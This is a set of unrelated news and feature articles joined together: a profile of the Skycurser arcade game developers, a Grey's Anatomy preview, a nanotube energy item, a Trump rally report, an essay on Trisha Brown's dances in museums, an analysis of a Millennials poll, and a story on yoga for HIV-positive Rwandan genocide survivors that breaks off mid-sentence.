-CLOSE Chris Cruz, Bradley Smith, and Phil Golobish talk about their arcade game Skycurser. Kelly Wilkinson/IndyStar  A screenshot of "Skycurser," a brand-new game built to look like an old-school arcade game. (Photo: Submitted by Skycurser)  The scene inside Tappers the Saturday night of Gen Con was exactly what you'd expect for a bar arcade during the biggest gaming convention in the country: more crowded than usual, but with a nerdier, more nostalgic rabble, largely made up of dudes in their late 20s to early-40s.  Every vintage arcade game inside the 5-month-old bar was occupied. Gamers with craft beers hovered and waited for their chance to play the likes of "Donkey Kong," "Galaga," "X-Men" and an unfamiliar game near the front of the barcade: "Skycurser."  Unlike those well-known arcade games of the '80s and '90s, "Skycurser" is only about two years old — but you wouldn’t have known by looking at it. The game has a slanted, all-caps block logo flanked by eyeballs with extraocular muscles and a red-eyed skull. The pixel-art, side-scrolling game features a protagonist on an alien-blasting jet.  "Skycurser" was far from out of place among its brethren at Tappers, and that’s how its three developers intended it to be.  "We wanted people to feel like in 2016 they had discovered a game that they had missed in the early ’90s," “Skycurser” technical director Brad Smith, 35, said. "That's what we wanted to really achieve."  "Skycurser" is more than a game to Smith, creative director Chris Cruz, 34, and producer Phil Golobish, 34. It's a representation of an effort to encourage other developers to make similar games. The trio want to spur an arcade revival and the social, in-person relationships arcades can create.  Buy Photo Phil Golobish plays Skycurser at Tappers Arcade Bar, Thursday, September 1, 2016. He is one of the three people who developed the arcade game. (Photo: Kelly Wilkinson /IndyStar)  "It builds community in a way the home console can’t build community," Smith says.  In an arcade, you can’t avoid interacting with the people around you.  Cruz and Golobish met more than 15 years ago through mutual friends and a mutual love of gaming. They created their first, but unoriginal, arcade game that summer. In 2013, when the two were coworkers at a digital marketing firm, the idea for "Skycurser" emerged.  "We went for a run, and then all through the run we just kept talking about all the things we wanted to do in a video game," Golobish said. "We nailed down the whole concept almost two and a half years ago, and after we went for a run, we probably almost definitely came straight to this bar and started drinking."  By February 2014, the pair reached out to Smith, a co-worker, and storyboarding for a video game began. This game, this new video game, would feature 8-bit graphics, tube monitors and, yes, a joystick.  ***  Cruz: Nobody ever gets the name right.  Golobish: "Man, I really love that new Sky Cruiser game!"  Cruz: I wanted it to feel like something you would name a sword or a car.  Golobish: First it was "Sky Burst" because you burst the enemy. We were on the second floor of a mansion that I used to be that caretaker of. And we were looking out on the lake, and Chris and I were just pacing back and forth.  Cruz: Seriously pacing, like stressed.  Golobish: Pacing back and forth, stressed about what to call this thing, mostly because we were like, we gotta make sure it works in every country. We were, like, the Japanese gotta love it, the Germans gotta love, everybody’s gotta love this name. And we blew it because nobody can remember it. [laughing]  Smith: No, we didn’t blow it. Because people have to go figure out what it’s actually called.  ***  Buy Photo Chris Cruz, from left, Bradley Smith, and Phil Golobish talk about arcade games at Keystone Sports Review, Thursday, August 25, 2016. The three are developing an arcade game called Skycurser. (Photo: Kelly Wilkinson /IndyStar)  Each left that marketing firm that year. Golobish now runs his own logistics service company. Smith is a senior software engineer at Oracle. Cruz is digital marketer at Bluelock, a cloud-based data management company. But they continued working and plotting "Skycurser" after hours, mostly at their neighborhood bars such as Keystone Sports Review or the Pawn Shop Pub.  The trio released the game in stages to specific arcades to get feedback and to feel out interest online from arcade owners and players around the world.  "When we got to a point when we had just barely enough to make a game, and we said it's going to be an arcade game, it instantly got international coverage," Cruz says. "There was just a huge reaction to the fact that these guys seem like they’re somewhat serious and they are 100 percent focused on the arcade as the platform. The response that we got just from the fact that we were committing to this arcade platform was so overwhelming that we were like, we might be onto something."  In July 2015, they sold their first cabinet to an arcade in Chicago. Now, the game is in 20 spots around the world, including two in Indianapolis, one in Germany and two in France.  They were onto something, said Adam Pratt, who has a "Skycurser" game in the old-school mall arcade he owns in Salt Lake City called Game Grid.  NEWSLETTERS Get the Out To Eat with IndyStar newsletter delivered to your inbox We're sorry, but something went wrong Indianapolis-area restaurant and food news. Please try again soon, or contact Customer Service at 1-888-357-7827. Delivery: Thu Invalid email address Thank you! You're almost signed up for Out To Eat with IndyStar Keep an eye out for an email to confirm your newsletter registration. More newsletters  "It does look like it came straight out of 1995," said Pratt, who also runs popular arcade website www.arcadeheroes.com. "Their art is really good in that regard. It's really just playing on the nostalgia of a lot of people who grew up in the '70s and '80s and '90s and just like that feel of the games."  Pratt, who wrote "The Arcade Experience: A Look At Modern Arcades and Why They Still Matter," said old games will always have a draw, but it's the new ones that will keep customers.  "As I've learned through the retro craze is that while there's a lot of hype for the old games and for memories, what people end up playing are the new games," Pratt said.  The new games still have the same challenges the old games do. "That's what all those games in the ’80s had: They had to convince these players in a few seconds that it was worth their quarters."  ***  Smith: We're basically trying to tell a story. Guy Griffin is the hero. He's the last human on Earth. Is that what we were saying?  [Golobish nods.]  Smith: He basically has, through a series of events, realized that mutants are trying to consume the Earth’s resources, and he’s gotta be the last person to stand in the way so these mutants from outer space don't take over another world.  Golobish: And what’s his main weapon that he uses to fight off mutants, Brad?  Smith: I mean, well, he uses lots of different weapons.  Cruz: The Skycurser! Smith: Yeah, yeah, Skycurser. It’s the name of the jet.  ***  A screenshot from "Skycurser," a modern-day arcade video game with an old-school feel. (Photo: Submitted by Skycurser)  There's a simple explanation why so many people are into the retro feel they get from a joystick, pixel art and loud arcades, Golobish said: "It's 'cause kids are old now, man. Everybody who was a kid is old now. And back then, their parents were like, 'No more quarters.' Now you're like, I have infinite quarters, and I can drink beer and I have irresponsible adult credit card money."  Making the game itself fulfilled a lifelong goal, but it's also part of a larger, much more noble endeavor to bring back the community they had when they went to arcades as kids.  "We grew up in the arcade," Cruz said. "I always wanted to be in the arcade. Especially in the late '80s and early-'90s, the games in the arcade were still way superior to what was at home."  They would socialize there. They would cheer, shake hands, laugh and interact, face-to-face. They would make friends.  “It's 'cause kids are old now, man. Everybody who was a kid is old now.” Phil Golobish  "The community aspect of it is way better than you could ever build," Smith said. "No matter how you could connect online with a console now, you’re still connecting face-to-face in the arcade."  Interaction thrives in an arcade environment, and they want to help bring that back.  "End goal is to have the arcade scene be vibrant again," Golobish said. "The arcade is still fun. Whenever you go to the arcade, do you ever see anybody having a bad time? I don't. I think end goal is the arcade as a viable platform for gaming. There’s no reason it can't be."  Bringing arcades back won’t be easy, and at-home consoles might still be a barrier, says arcade game collector Brian Ho, 41. The Noblesville resident started collecting in 2003 and has 16 games.  "Speaking to arcade machines and my collection of them, it's easy to see that arcades are downright scarce these days as compared to their heyday in the '80s and '90s," said Ho, a technical support specialist at DyKnow, a cloud-sharing company for educators. "I think this is largely driven by the fact that in the ‘80s and ‘90s, the games in arcades were usually superior to what you could play at home because they had the advantage of the specialized hardware contained in the arcade cabinet. But now computers and game consoles have gotten so powerful that it is easy for them to deliver a graphic and sound experience equal to (often better than) what you can play in an arcade."  Jeff Moulton, who co-owns Tappers, is banking on a revival. He says he often sees people crowd around any one of the 49 games in the bar, including “Skycurser,” and hears cheers as a player is doing well.  "They're amusement machines," Moulton said. "It's a part of our culture that we lost for a while."  ***  Golobish: I’m going to go into some weird territory. Do we wanna do this? Are we gonna do this?  Cruz: Yeah, go for it.  Smith, shrugging: Why not.  Golobish: When we were growing up, when “Mortal Kombat” came out, it was like a political thing. They were like, “Oh no, we have to create this new rating system.” So you have this rating system that comes out to protect players against the game developers. So the game developers were like, “Oh, we’re going to make this really nasty, bloody thing.” And that’s really what it was. It was nasty and bloody. Arguably, and this is something that I don’t think people can really, there’s no way to plan this, but as soon as you started allowing players to interact via the internet on the same game where they were anonymous, the amount of bullying, name-calling, racism, bigotry, homophobia that becomes this new medium for players is, in my mind, I can’t even. How many times can you hear people say, like, truly nasty, truly horrific things to strangers via the internet. That is outrageous to me.  Cruz: I can go back to, like, times when you’d play “Street Fighter.” That was my game back in the day, and you’d wait in line and you’d play a guy and he’d beat you or you’d beat him and you’d literally shake hands because there was a level of mutual respect.  Golobish: Because it was like, oh, this person is standing next to me, am I going to say some weird, bigoted, homophobic racial things?  Cruz: Absolutely not.  Golobish: So bring back the physical.  ***  The three knew that "Skycurser" alone can't bring back the face-to-face interaction afforded by arcades. They would have to create the hardware to allow other developers to make their own cabinet arcade games.  So they did.  "It was like, if we’re going to put the work in to make 'Skycurser' right, let’s do this the right way so that it can pave the way for other people to get involved," Smith said.  Golobish created a hardware "box" that can be shipped anywhere and fits into an arcade standard that allows most cabinets of the '80s and '90s to play it. It sells for $600, and it connects to Wi-Fi for updates and downloads. They'll build and sell the full cabinet, too, for $3,000.  "We make the game, the actual code that runs the game itself. But then, mostly because we’re crazy, we make the hardware that runs the game, too," Golobish said. "I was trying to explain it in the simplest terms the other day, and if you think of it as not only do we make 'Super Mario Brothers,' we also make the Nintendo."  They use old tube TVs, too, called CRTs, which now are very rare, Golobish said.  "It's an art form that if the technology doesn’t exist anymore, will just die, and that’s just kind of a bummer," he said. "There's nothing else like it. Nobody's making an LCD and trying to make it look like an old TV."  ***  Cruz: I'm going to brag because I grew up with Sony products around me. We actually were just invited to join Sony's developer network a year ago, and we just literally sat on the invitation. It was one of the most surreal experience of my life because we’re so used to having intense business conversations.  Golobish: Oh man, we crushed these conversations we were having. We were just like, "What’s the ROI gonna be?"  Cruz: Yeah, and so we had this conversation with Sony …  Golobish: 'Cap tables, what do the cap tables look like?  Cruz: And after we got off the phone, I was like, did we just like, I was just expecting him to be throwing all these really, like, hard questions at us that we couldn’t answer. And we were just so overprepared that I was like, “Did we just, like, outbusiness Sony just now?” But, so we sat on that invite because we didn’t know what we wanted to do with it.  Golobish: Because the game’s not done.  ***  Yes, the "Skycurser" team has some pretty lofty save-the-arcades goals, but they're also realistic about their future. They went on a quest to develop an arcade game that would make their 12-year-old selves proud, and they know they’ve got plenty of audiences outside the cabinet-playing gamers to reach. With some minor tweaks, they could have the game available on other platforms such as Playstation, Nintendo, Xbox or the iPhone.  "I would want you to be able to play ‘Skycurser’ on your phone or on your computer or wherever and be like, 'This is a great game,'" Cruz said.  Just creating an app would have been easier, but with such saturation in smartphone games, they knew they would have less of a chance of standing out.  "It's not like that we don’t like the home experience or the mobile experience," he said. "It’s just everybody's already servicing the home and mobile experience."  For now, they have accomplished their top goal: to create a badass, bloody video game.  "It's cool to see people from our community making stuff like this that we normally associate people out West in California making stuff like this,” said Nate Gonzales, general manager of the Sinking Ship bar on 96th Street, which has one of the games.  The game doesn’t draw as many players as when it arrived in the spring. Still, customers often ask about the gory new-school, old-school arcade game on the side of the bar.  The brainchild of Cruz, Golobish and Smith is getting attention.  "They did exactly what they wanted to do," Gonzales said. "They made an '80s arcade game that's super fun to play."  Call IndyStar reporter Amy Bartner at (317) 444-6752. Follow her on Facebook, Twitter, and Instagram.  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-File this one under “Grey’s Anatomy‘s Triangles We Never Thought We’d See.”  Series creator Shonda Rhimes tells TVLine that, in Season 11, Meredith, of all people — yes, Meredith, that Meredith — is going to throw a monkey wrench into Alex and Jo’s still-nascent romance.  “Jo is going to be horrified to discover how much time Alex is going to be spending with Meredith,” she previews, “and how much time Meredith is going to be spending [at their] house.”  RELATED Shonda Rhimes Teases Grey’s Anatomy Time Jump and a [Spoiler]-Centric Season  And, no doubt, Jo will ask the same question we have: Why is this happening? Why, when the drama returns on Sept. 25, will Alex and Mer be joined at the hip? The answer: Cristina.  “Alex feels responsible for her,” Rhimes explains. “He feels like Cristina didn’t just leave him a seat on the board and the shares, she left him Meredith as well.”  RELATED Grey’s Anatomy End Date Update: Will Season 11 Be the Show’s Last?  And, since Mer will not only be dealing with Cristina’s absence and trouble with Derek but also (eventually) the revelation that she has another half sister, she is going to need a (strictly platonic) shoulder to lean on and an ear to bend.  “The two people she talked to before — her husband and her best friend — are now not available to her,” notes Rhimes. “So she’s looking for someone to talk to. And Alex finds himself in the uncomfortable position of being the recipient of a lot of the stuff that Cristina would have been left listening to — sometimes in very funny ways.  “They’re the last men standing of those original interns,” Rhimes continues. “I wouldn’t say they’re becoming besties. [It’s more that] they’ve always had a very close relationship that didn’t ever need a lot of work because they always had a million other people there. Now, it’s sort of the two of them, and they do become closer.”
-These tangled carbon nanotubes can harvest energy directly from breathing and ocean waves  This yarn might not make the best sweater, but when pulled, it does something even better: It generates electricity. An international team of scientists made the new material, called “twistron harvesters,” by tying a carbon nanotube string into a tangled weave of carbon and submerging it into an electrolyte gel. When covered in the gel and pulled, the carbon nanotubes squeeze together and generate a small current—enough to momentarily light up a light-emitting diode (as you can see in the video above). The researchers found that the twistron could harvest power directly from ocean waves or—when sewn into a shirt—from the wearer’s breathing motion, they report today in Science . More power can be generated if the harvesters are hooked up together, with peak power generation reaching 250 watts per kilogram. Because of their scalable nature, the researchers say these carbon nanotube yarns could be used anywhere reliable kinetic energy is available.
-At a campaign rally in Mesa, Arizona, today, Donald Trump, discussing reports that several asylum seekers in Norway had images of ISIS flags on their cell phones, wondered how the refugees got access to mobile phones in the first place.  “First of all, why are people in a migration having cell phones?” Trump asked. “It’s sort of strange. Who’s paying for those cell phones? Where are they coming from? Who are they calling? These are people — can you imagine, many, many, many cell phones. Where do they get cell phones? Who pays their monthly bill?”  One woman in the crowd incessantly shouted, “Obama!”  Trump also declared that Syrian refugees in the U.S. are “all going back” if he’s elected president.  This led him to claim that he has the support of a majority of Hispanic voters because they don’t want to be “overrun by people pouring across the borders.”
-Joseph Schlichter performing Trisha Brown's "Man Walking Down the Side of a Building" in and around 80 Wooster Street, New York City, on April 18, 1970. Photo courtesy TBDC.  In 1970, choreographer Trisha Brown sent a man down the side of a building. Suspended from a single cable, he descended, not sprawled like Spiderman, but straight and fully perpendicular to the building's façade. The piece challenged our assumptions about the body's relationship to the city (and for that matter, gravity), but it was also a dance. Titled simply "Man Walking Down the Side of a Building," it took place outdoors, had no recognizable choreography beyond the imperative to "walk," and featured a performer, Joseph Schlichter, who wore street clothes. If this work could be considered a "dance," then almost anything could. That, in large part, was the point.  We have come to think of a dance performance as a set of carefully choreographed movements, set to music, executed with superb technique by amazingly sculpted bodies on a theatrical stage. But what if dance could be any movement, executed by anybody, anywhere? Would it still be dance? And how would we recognize it? By completely confounding expectations, Brown posed these fundamental questions, blurring the boundary between dance and the rhythms and movements of everyday life.  Video of Elizabeth Streb discussing "Man Walking Down the Side of a Building" as part of "Off the Wall: Part 2--Seven Works by Trisha Brown" at the Whitney Museum of American Art in 2010 .  Now, such site-specific works are undergoing another fundamental shift: from the street to the museum. Three of Brown's early dances will be performed in April as part of a retrospective organized by UCLA's Center for the Art of Performance. Two of these will take place at museums: the Hammer Museum and the Getty Center. If taking dance off the stage blurred the boundary between art and life, inserting it into a museum gallery raises other questions. What is the difference between dance and performance art? Does installing it in a museum turn it into a living art object? Or perhaps just an artifact of its former, more radical self?  From March 30 to April 21, the Hammer Museum will display "Floor of the Forest," a work that also dates from 1970. It consists of a grid of ropes from which hang various pieces of clothing. At specified times, dancers will work their way over, across and through this network, climbing on the ropes and stretching out the clothing. Is it dance? Performance art? A sculpture? Or all three?  These questions are intriguing because in recent years, dance has become an increasingly vital part of museum exhibitions. Traditionally programmed as auxiliary events, dance performances are often now the main attraction, taking place in the galleries, not the theater.  For example, in 2010, the Hayward Gallery in London organized "Move: Choreographing You," which turned viewers into dancers with interactive works that explored the relationship between visual arts and dance. The following year, Boston's Institute of Contemporary Art mounted "Dance/Draw," about the relationship between drawing and dance. Last summer, choreographer Benjamin Millepied danced through the galleries at L.A.'s Museum of Contemporary Art in a duet with Amanda Wells. And in the fall, New York's Museum of Modern Art presented "Some sweet day," a series of dance performances in the building's atrium.  Dance's ability to literally activate a space accounts in part for its appeal to museum curators. As museums are under increasing pressure to mount more relevant and crowd-pleasing exhibitions, they are exploring new ways to engage viewers. One strategy is to offer more participatory experiences, such as the Thai food stands, coffee bars, or playground slides created by artists like Rirkrit Tiravanija and Carsten Höller. Somewhat pompously dubbed "relational aesthetics," this work maintains that the art on view is not the installation, but the interactions it fosters between museum goers. In a more contemplative vein, Tino Sehgal turned the Guggenheim Museum into a venue for philosophical debate. His 2010 exhibition featured a work in which each viewer ascended the museum's signature spiral ramp accompanied by a series of interlocutors who ranged from very young to late middle aged. As they walked up the spiral, they initiated discussions on the notion and definition of "progress."  "Floor of the Forest" | Photo: Winarsh-Documenta 2007.  We may not think of these examples as "dance" per se, (and I don't believe the artists would claim that they are), but it is interesting to look at them in relation to the ideas that Brown and her contemporaries advanced in the early 1960s. As a founding member of the Judson Dance Theater in New York, Brown and artists like Yvonne Rainer, Meredith Monk and Steve Paxton asserted that any movement could be dance, that any person, regardless of body type or training, could be a dancer, and that dance could happen anywhere. Performances need not be choreographed, but could be wholly or partly improvised. It was these ideas, freeing dance from the stage, that made it possible to bring dance into the museum. So Sehgal's orchestrated progress up the ramp could be a dance. Perhaps even socializing in the café is a dance, with its rituals of cream and conversation. But what is the difference then, between dance and performance art? The line would seem vanishingly thin, and indeed, the members of Judson Dance Theater were aligned with the Fluxus and John Cage-inspired artists who created "happenings" at Judson Church. These semi-scripted experiments in organized absurdity set the template for performance art as we know it today.  I once participated in a re-enactment of a Judson Church happening in the mid 1990s. This involved throwing toilet paper rolls in the air, playing kazoos and other assorted mayhem. The details are a bit foggy now. The Fluxus artist Al Hansen had just passed away, and his grandson, the musician Beck, played a song. Another artist performed a Hansen work in which he wrapped his own head in tape. While I sensed it was an honor to be a part of this memorial, it also felt strange, as if I, and the other art students who participated, were inhabiting someone else's skin, someone else's memories. Perhaps at one time it was a radical absurdist gesture to stand on a stage and throw toilet paper into the air, but it no longer seemed so. It occurred to me that perhaps the thing about happenings is that they really only happen once.  "Floor of the Forest" | Photo: Egbert Trogemann Documenta VG Bild-kunst, Bonn 2007.  Looking back on it now, I see that I was a dancer, following a choreographed sequence, albeit a very loose, provisional one. But the conditions under which that choreography was created are long past. That's why the re-enactment felt inauthentic and nostalgic. (It was after all a memorial.) But that feeling perhaps points to a difference between dance and performance art. Traditional dance has always provided an empty form -- the choreography -- that could be occupied by any number of bodies. Ballet companies have been performing "Swan Lake" in more or less the same fashion for over a hundred years. But because of the era in which it arose -- the 1960s, when much emphasis was placed on breaking out of stale conventions and living in the moment -- performance art has been more closely tied to the identity and presence of the artist. Witness the title of legendary performance artist Marina Abramovic's 2010 MOMA retrospective: "The Artist is Present." (And indeed she was, literally sitting across from viewers at a table for the duration of the show. What kind of retrospective will be possible when she's gone?)  Although Brown's work is not so personality-driven, the early dances especially are tied to a very particular, exploratory moment. In fact, Brown soon moved on from her emphasis on the everyday and went on to an illustrious career choreographing works for stages all over the world. Re-performing her early pieces now is of course a homage, but it is also a sign of renewed interest in those formative days.  Beyond the need to bring more feet through the door, museums' current fascination with dance is also simply a function of time. Postmodern dance, as the work of the Judson generation is often called, is on the cusp of no longer being "contemporary." As it becomes a canonical part of the historical narrative, we want to know what it meant and how it relates to other forms, both past and present. In other words, it is ripe for museum-ization. But unlike a painting or a sculpture, which might survive the ravages of time relatively intact, dance only exists if someone performs it. Of course there is sometimes film, video, and other documentation, but the only way to give audiences a sense of what a live performance was like is to re-enact it.  Of course, the new performance can never be exactly like the original. Dance critic Marcia B. Siegal writes that much is lost in these re-stagings: "The ideas still hold, and it's good to have them before us, but I miss the blemishes, the uncertainty, the secret pleasure of eluding the formula." There's no substitute for having been there, of course, but museums preserve culture; they are not time machines. Even artifacts that have remained unchanged for thousands of years are continually seen in a different light by new generations. In some ways, dances are like ancient books that have only reached us after being copied by hand over and over again. There will have been countless omissions and errors, but we can only interpret the copy that we have in hand.  Yet sometimes a museum exhibition can give a piece new life, such as the adaptation of Brown's "Roof Piece" at MOMA in 2010. Originally performed in 1971, the work involved the transmission of dance movements from one dancer to the next, each standing on a different rooftop in New York's Soho neighborhood. Transplanted to the museum's six-story atrium, the dancers stood on different floors in a spiral formation. They were visible through the space's windows and openings, but also individually to viewers meandering through the galleries. Although the smooth white spaces of the museum were a radical departure from rough Soho rooftops, the piece reshaped itself to the site and still conveyed a lovely image of communication and communion as the dancers' movements rippled through the galleries. (It will be performed again, in yet a different context, atop the travertine buildings of the Getty Center on April 6.)  Video documentation of "Performance 11: On Line/Trisha Brown Dance Company" including the work, "Roof Piece Re-Layed" (2011) (based on "Roof Piece" [1971]) at the Museum of Modern Art, New York in 2011.  When museums invite dancers into the galleries, ideally they are trying to understand how dance relates to visual art, how it reflects the same concerns, and fits into a shared cultural narrative. But sometimes it feels like visual art is an ever-expanding field, sucking everything willy-nilly into its gaping maw: dance, conversation, Thai food are all art simply because the museum says they are. But if we look back at what Brown and Rainer and many, many others were doing in those fertile, febrile years, we see a utopian belief that the lines separating all of these cultural forms could be stripped away. Perhaps the museum's expanding purview is not a callous land grab, but simply the late-dawning recognition that all forms are one.  TRISHA BROWN: FLOOR OF THE FOREST  March 30 - April 21, 2013 | Hammer Museum Courtyard  Free and open to the public  Dig this story? Sign up for our newsletter to get unique arts & culture stories and videos from across Southern California in your inbox. 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-Reason-Rupe, Reason magazine's polling arm, is out with a really in-depth survey looking at the political preferences of Millennials (defined here as adults aged 18-29). Understandably, given that Reason's a libertarian outfit, they're emphasizing findings suggesting Millennials think government is wasteful and abuses power, and as suggesting there'd be widespread support for a "socially liberal, fiscally conservative" (libertarian, in other words) presidential candidate.  You could read it that way. Or you could pick out other results and cite them as proof that the young 'uns are just down-the-line liberals. But probably the best way to read it is as confirming that Millennials, like other Americans, mostly don't have the kind of rigorous and consistent policy views associated with professional ideologues. Consider that these are all findings from the same report:  65 percent of Millennials think it would help the economy to cut spending…  …but 62 percent and 58 percent think it'd help the economy to boost spending on job training and infrastructure, respectively.  58 percent think that it'd help the economy to cut taxes…  …but 66 percent think it'd help the economy to raise taxes on the wealthy.  74 percent think the government should guarantee that everyone gets enough to eat and a place to sleep, 68 percent think it should guarantee a living wage, and 54 percent think it should guaranteed a college education…  …but 66 percent believe that "when something is run by the government, it is usually inefficient and wasteful."  If you don't mention the prospect of higher taxes, then they express support for a larger government with more services, 54 percent to 43 percent…  …but if you do mention the prospect of higher taxes, they support a smaller government with fewer services, 57 percent to 41 percent.  mention the prospect of higher taxes, they support a smaller government with fewer services, 57 percent to 41 percent. 55 percent say they'd like to start their own business one day…  …but a plurality (48 percent) say that businesses mostly get rich at someone else's expense.  61 percent cite "hard work" as a major reason for determining wealth and success in life…  …but only 31 percent cite "lack of work ethic" as a major reason for why people are poor.  73 percent agree that "people should be allowed to keep what they produce, even if there are others with greater needs"…  …but 58 percent agree that government should "spend more on financial assistance to the poor, even if it leads to higher taxes."  69 percent think the government should guarantee health insurance…  …but 55 percent are "unwilling to pay more for health insurance in order to help provide coverage to the uninsured."  Are all of these positions strictly logically contradictory? Of course not. It's theoretically possible to, say, support an overall tax cut that raises taxes on the rich too. But it's worth questioning the value of trying to force these answers into a coherent political framework rather than accept that Millennials, like most people, have much, much better things to do with their time than form highly nuanced and non-contradictory political opinions. Political nerds tend to really overestimate how much most people care about public policy, and how much they feel it connects to their daily lives.  One conclusion we can take away from the report, though, is that Millennials display a certain degree of economic self-interest. Just look at what happens to support for a living wage as you go up the income scale:  Same with closing the income gap:  And expanding the safety net:  And observe how support for socialism or, more mildly, an "egalitarian society" changes based on whether or not the respondent has experienced discrimination in their life:  It's silly to look over the poll's results and try to assign Millennials as a whole a coherent ideology, but it's safe to say that the role of one's own socioeconomic position in forming political beliefs is strong, just as it is with Americans as a whole.
-Four years ago, in a small sewing cooperative in Rwanda's capital city of Kigali, yoga instructor and author Deirdre Summerbell stepped in front of a class of a dozen frail women, each standing on a green or purple mat, and asked them to move their bodies in a series of twists and bends that make up the basic practice of Ashtanga yoga.  The women, HIV-positive survivors of the widespread rape that occurred during Rwanda's 1994 genocide, reacted with confusion and trepidation.  "Their jaws dropped, and they opened their eyes wide during my demonstration," Summerbell, 55, told The Huffington Post. "When I finished, a young woman put out her hand and said, ‘You know, that's for children, and we have already reached old age. We are sick.'" The woman was 28.  So began the first class offered by Project Air, an initiative that uses yoga to help over 400 HIV-positive Rwandan women and their families cope with the trauma they endured when an estimated 800,000 Rwandans were killed in only 100 days -- and countless women were raped -- as the Hutu majority tribe tried to wipe out the Tutsi minority. Even after the violation, mutilation and murder were over and the machetes were sheathed, the bodies and minds of the Rwandan women Project Air serves remained battlefields. While their immune systems struggled to fight even the most common illnesses, their minds were warding off traumatic flashbacks of war.  Summerbell wasn't surprised by her students' early skepticism. In fact, when the non-profit Women's Equity in Access to Care and Treatment first approached Summerbell in 2007 to helm the project, she declined.  "I thought that it was silly and the last thing these women would probably need." said Summerbell, who grew up in Tanzania, where she witnessed what she describes as Westerners' attempts to institute ineffective foreign practices in African culture.  But when Summerbell, and then her students, decided to give the project a try -- despite the students' physical and emotional trauma and the fact that women's participation in physical activities of this nature is taboo in Rwanda -- they found the results were both immediate and profound.  "After the third lesson, a shy woman came up to me, took my hands and said that she had slept for the first time in the 14 years since the genocide," Summerbell said. "She wasn't alone. Women will tell you that before yoga, they were crippled with aches and pains; they felt old. Now they crave yoga because when they feel physically stronger, they feel more confident and optimistic."  Given these positive results, what began as a three-month experiment is now in its fourth year. It is the first yoga initiative to be endorsed by the United Nations and is the only yoga project to be partnered with UNICEF. Organizers are looking to expand the yoga program to other warring and post-conflict countries.  INTEGRATING MENTAL HEALTH WITH MEDICAL CARE  Project Air started as one aspect of the holistic treatment offered by WE-ACTx, which was formed to 2004 to provide a full spectrum of health care to HIV-positive Rwandans, with a special focus on serving female survivors of genocidal rape and violence and their children.  Although only approximately 5 percent of the Rwandan population is estimated to have HIV/AIDS, UNICEF suggests that the disease prevalence is 10 percent among women.  And while not all cases of HIV/AIDS in Rwanda are linked to the genocide, a 2004 Amnesty International report titled "Marked for Death" found the conflict contributed significantly to the proliferation of the disease. Of the 250,000 to 500,000 women who were raped during the genocide, Amnesty estimates more than 67 percent of the victims contracted HIV and AIDS. The UK-based Survivors Fund organization reported that many of the infections were systematically planned, and that HIV-positive men were used intentionally as a weapon of the genocide.  The purpose of Project Air's classes is not so much to ameliorate the physical symptoms of HIV and AIDS -- Summerbell is not a physician and could not point to scientific studies that link yoga to improving the immune system -- though she said she had seen her students' disease markers, including disrupted sleep patterns and poor appetites, improve.  The program works collaboratively with five local genocide survivors associations, the Rwandan Ministry of Health and the Rwandan National AIDS program, aiming to help its students cope with the emotional effects of the trauma they endured.  In the U.S., the Veterans Administration has used yoga to assist veterans coping with PTSD after returning from war, and a small 2010 study funded by the U.S. Department of Defense and conducted by Sat Bir A. Khalsa, an assistant professor at Harvard Medical School, found that veterans' symptoms improved after a 10-week yoga class.  According to Dr. Mardge Cohen, the medical director of WE-ACTx, who has researched the AIDS pandemic for more than two decades in Chicago, Boston and Rwanda, Project Air has had the same effect on its students.  An estimated one in three Rwandans suffer from PTSD as a result of the genocide, according to a 2009 study by the Rwandan Ministry of Health; that includes many rape victims.  "[WE-ACTx] makes sure that we integrate mental health," said Cohen. "Many of the women who have also attended [Project Air] yoga sessions say that the support they get from doing this with other women as well as the strength they gain from the physical exercise of the manipulation of yoga allow them to feel like they are able to move on and move forward from their PTSD," Cohen, 59, said.  Summberbell said Project Air yoga classes have allowed women who have felt stiff and elderly to experience dramatic and immediate emotional benefits, as they jump and play joyfully during the class.  "They are allowed to have an hour doing nothing else but lift their hands, jump up and do tricks that they thought only children can do, and this produces such an amount of glee," Summerbell said. "Everybody laughs, almost more when they fall than when they succeed; everybody plays. It is the most giggly group."  The services that Project Air provides its students aren't limited to the yoga mats.  "Rwanda is unbelievably expensive and the sick are very poor," Summerbell said. "The lucky ones eat every day, the unlucky every other day, and you can't ask people with a low caloric intake to do Ashtanga. So we feed them."  Project Air also has begun to provide clothing. While some of the wealthier students come to classes adorned in their finest and brightest clothing -- Summerbell has begun to discourage headdresses as they are not conducive to headstands -- the instructors began to notice that the women in cheaper shrouds were avoiding certain poses.  "They couldn't afford underwear, so we quickly regrouped and provided trousers," Summerbell said.  THE CHILDREN, THEN THE MEN  Even though Project Air focuses primarily on the traumatized victims of genocidal rape, it has quickly expanded in size and scope. When the program was only in its sixth week, Madonna heard of the program and donated $250,000.  Now, in addition to its work with adults, Project Air serves 300 to 350 HIV-positive children, most of whose parents are deceased. Rwanda has approximately 160,000 orphans as a result of HIV/AIDS.  According to WE-ACTx's Director of Clinical Systems, Chantal Benekigeri, many of these children face an overwhelming stigma.  "For children who lost their parents and live with other family members, sometimes their family members know [they] have HIV and stigmatize them," Benekigeri, a 47 year-old Rwandan, said. "Sometimes [the orphans] can't eat at the same table."  Summerbell said that without families to protect them, pre-pubescent orphan girls are more vulnerable to physical and sexual abuse.  "They are sitting ducks," Summerbell said. "We are trying to put a special focus for them on Ashtanga yoga because it is very athletic and we want to develop their confidence and strengthen them so they are less likely to be a target and feel like they don't deserve this treatment."  But this new focus has presented new challenges. Soon after starting to work with girls and young women who were victims of domestic abuse, Summerbell and her colleagues realized they needed to take a broader approach.  "If you get a woman to feel strong and be stronger, and you don't help the men understand these changes, we can end up doing more damages," Summerbell said. "So we began with a large group of men [enrolling in the yoga programs]. They have become some of our most enthusiastic students and respond to it."  Through yoga, Project Air aims to change men's behavior and their mindsets.  "We teach them that self-control is a form of strength," Summerbell said. "Strength is when a body and mind are under the dominion of an individual, and when that individual loses control and descends into violence, that is a weakness of the mind and body."  BEYOND RWANDA  While Project Air currently operates only in Kigali, there are efforts underway to extend its reach beyond Rwanda's borders and beyond its original focus on populations with HIV or AIDS.  With the help of UNICEF, Summerbell wants to broaden Project Air's programming to reach other African conflict and post-conflict zones, extending services to vulnerable women and children who are not HIV positive. She has spoken to Heal Africa, an organization that provides holistic healing for people in the Democratic Republic of Congo. According to the American Journal of Public Health, approximately one woman is raped every four minutes in the DRC.  "We want to expand this project to other vulnerable groups we work with, such as street children, former child soldiers, adolescent survivors of violence," wrote Francesca Morandini, UNICEF Rwanda's Chief of Social Protection and Governance for Child's Rights, in an email.  "There is so much more to do," Summerbell said.  To learn more about Project Air or make a donation, visit project-air.org.  View our slideshow below to see pictures of Project 